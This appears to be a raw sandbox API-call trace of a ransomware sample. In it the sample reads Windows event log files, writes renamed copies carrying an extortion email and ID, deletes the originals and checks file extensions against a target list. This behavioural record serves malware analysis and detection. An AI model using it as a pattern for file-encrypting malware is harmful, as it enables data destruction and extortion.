	[0071.951] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0071.952] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.952] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.952] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.952] GetLastError () returned 0x0
	[0071.952] ReadFile (in: hFile=0x2f8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0071.955] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0071.956] ReadFile (in: hFile=0x2f8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.956] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x146, lpOverlapped=0x0) returned 1
	[0071.957] SetEndOfFile (hFile=0x350) returned 1
	[0071.957] CloseHandle (hObject=0x350) returned 1
	[0071.959] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.959] SetEndOfFile (hFile=0x2f8) returned 1
	[0071.960] CloseHandle (hObject=0x2f8) returned 1
	[0071.960] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0071.960] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1
	[0071.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0071.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0071.961] lstrlenW (lpString=".doc") returned 4
	[0071.961] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.961] lstrlenW (lpString=".docx") returned 5
	[0071.961] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.961] lstrlenW (lpString=".pdf") returned 4
	[0071.961] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.961] lstrlenW (lpString=".xls") returned 4
	[0071.961] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.961] lstrlenW (lpString=".xlsx") returned 5
	[0071.961] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.961] lstrlenW (lpString=".ppt") returned 4
	[0071.961] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0071.961] lstrlenW (lpString=".zip") returned 4
	[0071.961] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.961] lstrlenW (lpString=".rar") returned 4
	[0071.961] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.961] lstrlenW (lpString=".bz2") returned 4
	[0071.961] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.961] lstrlenW (lpString=".7z") returned 3
	[0071.961] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0071.961] lstrlenW (lpString=".dbf") returned 4
	[0071.961] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0071.961] lstrlenW (lpString=".1cd") returned 4
	[0071.961] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.961] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0071.961] lstrlenW (lpString=".jpg") returned 4
	[0071.962] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0071.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0071.962] lstrlenW (lpString=".doc") returned 4
	[0071.962] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.962] lstrlenW (lpString=".docx") returned 5
	[0071.962] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.962] lstrlenW (lpString=".pdf") returned 4
	[0071.962] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.962] lstrlenW (lpString=".xls") returned 4
	[0071.962] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.962] lstrlenW (lpString=".xlsx") returned 5
	[0071.962] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.962] lstrlenW (lpString=".ppt") returned 4
	[0071.962] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0071.962] lstrlenW (lpString=".zip") returned 4
	[0071.962] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.962] lstrlenW (lpString=".rar") returned 4
	[0071.962] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.962] lstrlenW (lpString=".bz2") returned 4
	[0071.962] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.962] lstrlenW (lpString=".7z") returned 3
	[0071.963] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0071.963] lstrlenW (lpString=".dbf") returned 4
	[0071.963] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0071.963] lstrlenW (lpString=".1cd") returned 4
	[0071.963] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0071.963] lstrlenW (lpString=".jpg") returned 4
	[0071.963] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.963] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0071.963] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56
	[0071.963] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0071.963] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0071.963] CloseHandle (hObject=0x2f8) returned 1
	[0071.963] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20
	[0071.963] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.963] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0071.964] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.964] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.964] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.964] GetLastError () returned 0x0
	[0071.964] ReadFile (in: hFile=0x2f8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0071.968] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0071.970] ReadFile (in: hFile=0x2f8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.970] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x144, lpOverlapped=0x0) returned 1
	[0071.970] SetEndOfFile (hFile=0x350) returned 1
	[0071.970] CloseHandle (hObject=0x350) returned 1
	[0071.972] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.972] SetEndOfFile (hFile=0x2f8) returned 1
	[0071.974] CloseHandle (hObject=0x2f8) returned 1
	[0071.974] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0071.974] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1
	[0071.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0071.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0071.974] lstrlenW (lpString=".doc") returned 4
	[0071.974] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.974] lstrlenW (lpString=".docx") returned 5
	[0071.975] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.975] lstrlenW (lpString=".pdf") returned 4
	[0071.975] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.975] lstrlenW (lpString=".xls") returned 4
	[0071.975] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.975] lstrlenW (lpString=".xlsx") returned 5
	[0071.975] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.975] lstrlenW (lpString=".ppt") returned 4
	[0071.975] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0071.975] lstrlenW (lpString=".zip") returned 4
	[0071.975] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.975] lstrlenW (lpString=".rar") returned 4
	[0071.975] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.975] lstrlenW (lpString=".bz2") returned 4
	[0071.975] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.975] lstrlenW (lpString=".7z") returned 3
	[0071.975] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0071.975] lstrlenW (lpString=".dbf") returned 4
	[0071.975] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0071.975] lstrlenW (lpString=".1cd") returned 4
	[0071.975] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0071.975] lstrlenW (lpString=".jpg") returned 4
	[0071.975] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0071.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0071.976] lstrlenW (lpString=".doc") returned 4
	[0071.976] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.976] lstrlenW (lpString=".docx") returned 5
	[0071.976] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.976] lstrlenW (lpString=".pdf") returned 4
	[0071.976] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.976] lstrlenW (lpString=".xls") returned 4
	[0071.976] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.976] lstrlenW (lpString=".xlsx") returned 5
	[0071.976] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.976] lstrlenW (lpString=".ppt") returned 4
	[0071.976] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.976] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0071.976] lstrlenW (lpString=".zip") returned 4
	[0071.976] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.976] lstrlenW (lpString=".rar") returned 4
	[0071.976] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.976] lstrlenW (lpString=".bz2") returned 4
	[0071.976] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.976] lstrlenW (lpString=".7z") returned 3
	[0071.976] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.976] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0071.976] lstrlenW (lpString=".dbf") returned 4
	[0071.976] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.976] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0071.976] lstrlenW (lpString=".1cd") returned 4
	[0071.976] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.976] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0071.976] lstrlenW (lpString=".jpg") returned 4
	[0071.976] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.977] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0071.977] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46
	[0071.977] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0071.977] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0071.977] CloseHandle (hObject=0x2f8) returned 1
	[0071.977] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20
	[0071.977] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.977] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0071.977] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.977] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.978] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.978] GetLastError () returned 0x0
	[0071.978] ReadFile (in: hFile=0x2f8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0071.981] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0071.983] ReadFile (in: hFile=0x2f8, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.983] WriteFile (in: hFile=0x350, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x130, lpOverlapped=0x0) returned 1
	[0071.983] SetEndOfFile (hFile=0x350) returned 1
	[0071.983] CloseHandle (hObject=0x350) returned 1
	[0071.987] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.987] SetEndOfFile (hFile=0x2f8) returned 1
	[0071.989] CloseHandle (hObject=0x2f8) returned 1
	[0071.989] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0071.989] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1
	[0071.989] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0071.989] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0071.989] lstrlenW (lpString=".doc") returned 4
	[0071.989] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.989] lstrlenW (lpString=".docx") returned 5
	[0071.989] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.989] lstrlenW (lpString=".pdf") returned 4
	[0071.989] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.990] lstrlenW (lpString=".xls") returned 4
	[0071.990] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.990] lstrlenW (lpString=".xlsx") returned 5
	[0071.990] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.990] lstrlenW (lpString=".ppt") returned 4
	[0071.990] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.990] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0071.990] lstrlenW (lpString=".zip") returned 4
	[0071.990] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.990] lstrlenW (lpString=".rar") returned 4
	[0071.990] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.990] lstrlenW (lpString=".bz2") returned 4
	[0071.990] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.990] lstrlenW (lpString=".7z") returned 3
	[0071.990] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.990] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0071.990] lstrlenW (lpString=".dbf") returned 4
	[0071.990] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.990] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0071.990] lstrlenW (lpString=".1cd") returned 4
	[0071.990] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.990] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0071.990] lstrlenW (lpString=".jpg") returned 4
	[0071.990] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.990] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0071.990] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0071.990] lstrlenW (lpString=".doc") returned 4
	[0071.990] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0071.990] lstrlenW (lpString=".docx") returned 5
	[0071.991] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0071.991] lstrlenW (lpString=".pdf") returned 4
	[0071.991] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0071.991] lstrlenW (lpString=".xls") returned 4
	[0071.991] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0071.991] lstrlenW (lpString=".xlsx") returned 5
	[0071.991] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0071.991] lstrlenW (lpString=".ppt") returned 4
	[0071.991] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0071.991] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0071.991] lstrlenW (lpString=".zip") returned 4
	[0071.991] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0071.991] lstrlenW (lpString=".rar") returned 4
	[0071.991] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0071.991] lstrlenW (lpString=".bz2") returned 4
	[0071.991] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0071.991] lstrlenW (lpString=".7z") returned 3
	[0071.991] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0071.991] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0071.991] lstrlenW (lpString=".dbf") returned 4
	[0071.991] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0071.991] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0071.991] lstrlenW (lpString=".1cd") returned 4
	[0071.991] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0071.991] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54
	[0071.991] lstrlenW (lpString=".jpg") returned 4
	[0071.991] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0071.992] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0071.992] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42
	[0071.992] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0071.992] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0071.992] CloseHandle (hObject=0x2f8) returned 1
	[0071.992] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20
	[0071.992] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.992] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0071.992] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.992] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
